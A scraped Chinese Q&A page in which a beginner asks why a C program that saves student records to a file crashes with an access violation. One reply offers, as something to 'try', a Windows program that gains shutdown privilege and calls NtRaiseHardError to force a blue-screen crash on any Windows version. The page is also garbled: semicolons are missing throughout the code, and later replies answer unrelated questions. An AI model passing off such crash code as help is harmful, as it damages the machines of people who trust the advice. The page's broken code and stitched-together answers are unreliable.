初学C语言的文件,出现错误Unhandled exception in (NTDLLDLL)0xC000005 求大神帮忙,谢谢啦,在线等

Python014

初学C语言的文件,出现错误Unhandled exception in (NTDLLDLL)0xC000005 求大神帮忙,谢谢啦,在线等,第1张

/*

Please input info of 3 students:

num name score1 score2 score3

student1:69587 poti 96 85 74

student2:45698 loag 89 78 97

student3:96850 armi 85 76 94

Press any key to continue

*/

#include <stdio.h>

#include <stdlib.h>

#define N 3

struct student {

long int num

char name[10]

int score1

int score2

int score3

float average

}

void Input(struct student *std)

void Save(struct student *std)

int main(void) {

struct student std[N]

Input(std)

Save(std)

return 0

}

void Input(struct student *std) {

int i

printf("\nPlease input info of %d students:\nnum name score1 score2 score3\n",N)

for(i = 0i < Ni++) {

printf("student%d:",i + 1)

scanf("%ld %s %d %d %d",&std[i].num,std[i].name,&std[i].score1,&std[i].score2,&std[i].score3)

std[i].average = ((float)std[i].score1 + std[i].score2 + std[i].score3)/3

}

}

void Save(struct student *std) {

FILE *fp

int i

if((fp = fopen("student.dat","wb")) == NULL) {

printf("cannot open file\n")

exit(1)

}

for(i = 0i < 3i++) {

if(fwrite(&std[i],sizeof(struct student),1,fp) != 1) {

printf("file write error\n")

}

}

fclose(fp)

}

你可以试一下这个

#include <Windows.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR ipCmdLine, int nCmdShow){

 HMODULE ntdll = LoadLibrary("ntdll.dll")

 FARPROC RtlAdjPriv=GetProcAddress(ntdll,"RtlAdjustPrivilege")

 FARPROC NtRaiseHardErr=GetProcAddress(ntdll,"NtRaiseHardError")

 unsigned char ErrKill

 long unsigned int HDErr

 ((void(*)(DWORD, DWORD, BOOLEAN, LPBYTE))RtlAdjPriv)(0x13,true,false,&ErrKill)

 ((void(*)(DWORD, DWORD, DWORD, DWORD, DWORD, LPDWORD))NtRaiseHardErr)(0xc0000233,0,0,0,6, &HDErr)

}

原理:用远过程函数 RtlAdjustPrivilege 获取关机权限,然后远过程函数 NtRaiseHardError 制造蓝屏。(这是一个兼容性很强的程序, x86 版的程序上至 Windows 10 ,下至 Windows NT 4 都可以蓝屏)

。。。你申请的是一个字符指针

char *a="I am a teacher!"

char *string="You are a student."

这样初始化的话,指针会指向一片静态区域。是不能通过指针对其进行操作的。

你可以重新申请个字符串数组然后这样初始化,然后用指针指向这个数组名。

楼下不懂不要乱说,函数声明是可以写在main里的,只是作用范围不一样。

函数本身就可以没有返回值,但不代表函数无效= =。

传给printf的是两个字符串指针,%s本身就得传指针,什么时候你见过指针需要显示的。。。